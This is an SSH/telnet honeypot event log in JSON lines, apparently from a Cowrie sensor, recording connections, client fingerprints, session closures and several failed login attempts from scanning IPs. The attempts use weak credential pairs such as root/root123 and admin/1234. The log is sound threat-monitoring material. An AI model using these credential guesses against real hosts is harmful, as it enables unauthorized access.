{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:32.039221Z","src_ip":"193.32.162.145","session":"a228f2283ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:32.058603Z","src_ip":"116.110.220.181","session":"f38b26453902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol123","message":"login attempt [ubuntu/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:32.367989Z","src_ip":"193.32.162.145","session":"a228f2283ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:33.088435Z","src_ip":"116.110.220.181","session":"f38b26453902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:33.468991Z","src_ip":"193.32.162.145","session":"a228f2283ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:34.496854Z","src_ip":"116.110.220.181","session":"f38b26453902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.393620014190674,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:43.964879Z","src_ip":"79.181.165.232","session":"e1d251d4f81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":52058,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e90999a3740","protocol":"ssh","message":"New connection: 2.57.122.210:52058 (10.17.0.5:22) [session: 2e90999a3740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:45.535613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:45.572508Z","src_ip":"2.57.122.210","session":"2e90999a3740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:45.667597Z","src_ip":"2.57.122.210","session":"2e90999a3740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:46.428761Z","src_ip":"2.57.122.210","session":"2e90999a3740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:47.691908Z","src_ip":"2.57.122.210","session":"2e90999a3740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.94570183753967,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:48.540750Z","src_ip":"212.55.149.117","session":"37740dcd3bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12423,"dst_ip":"10.17.0.5","dst_port":23,"session":"63200b1c6036","protocol":"telnet","message":"New connection: 212.55.149.117:12423 (10.17.0.5:23) [session: 63200b1c6036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:06:06.885396Z"}
{"eventid":"cowrie.session.closed","duration":60.678000926971436,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:06:11.228281Z","src_ip":"212.55.149.117","session":"ce96a00758f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01602959632874,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:06:26.240676Z","src_ip":"212.55.149.117","session":"280f3deeef41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46437,"dst_ip":"10.17.0.5","dst_port":23,"session":"16da301fc582","protocol":"telnet","message":"New connection: 212.55.149.117:46437 (10.17.0.5:23) [session: 16da301fc582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:06:29.433413Z"}
{"eventid":"cowrie.session.closed","duration":59.98854422569275,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:06.873837Z","src_ip":"212.55.149.117","session":"63200b1c6036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.19046640396118,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:20.188385Z","src_ip":"212.55.149.117","session":"723f6bb046b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59644,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1861e6c59a4","protocol":"ssh","message":"New connection: 2.57.122.238:59644 (10.17.0.5:22) [session: e1861e6c59a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:27.119926Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:27.227504Z","src_ip":"2.57.122.238","session":"e1861e6c59a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44327,"dst_ip":"10.17.0.5","dst_port":23,"session":"60fd5b6e7234","protocol":"telnet","message":"New connection: 212.55.149.117:44327 (10.17.0.5:23) [session: 60fd5b6e7234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:38.474651Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55070,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30d21257a62","protocol":"ssh","message":"New connection: 103.15.226.202:55070 (10.17.0.5:22) [session: d30d21257a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:49.241119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:49.248687Z","src_ip":"103.15.226.202","session":"d30d21257a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:49.511383Z","src_ip":"103.15.226.202","session":"d30d21257a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:50.244425Z","src_ip":"103.15.226.202","session":"d30d21257a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:07:51.490116Z","src_ip":"103.15.226.202","session":"d30d21257a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33066,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f12c15d725","protocol":"ssh","message":"New connection: 2.57.122.210:33066 (10.17.0.5:22) [session: 87f12c15d725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:00.913939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:00.918632Z","src_ip":"2.57.122.210","session":"87f12c15d725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:01.028369Z","src_ip":"2.57.122.210","session":"87f12c15d725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ubuntu","message":"login attempt [sol/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:01.376392Z","src_ip":"2.57.122.210","session":"87f12c15d725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:02.490241Z","src_ip":"2.57.122.210","session":"87f12c15d725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.95157837867737,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:28.384808Z","src_ip":"212.55.149.117","session":"16da301fc582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":7660,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a314b35e98","protocol":"ssh","message":"New connection: 193.24.211.100:7660 (159.203.135.109:22) [session: 53a314b35e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:28.516697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:28.524846Z","src_ip":"193.24.211.100","session":"53a314b35e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:28.636578Z","src_ip":"193.24.211.100","session":"53a314b35e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s","message":"login attempt [root/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:29.075627Z","src_ip":"193.24.211.100","session":"53a314b35e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:30.189307Z","src_ip":"193.24.211.100","session":"53a314b35e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fee937247c3","protocol":"ssh","message":"New connection: 116.110.220.181:56246 (159.203.135.109:22) [session: 0fee937247c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:32.474002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:32.478607Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":2598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1119491428","protocol":"telnet","message":"New connection: 34.78.73.110:2598 (159.203.135.109:23) [session: 5c1119491428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:34.249870Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-po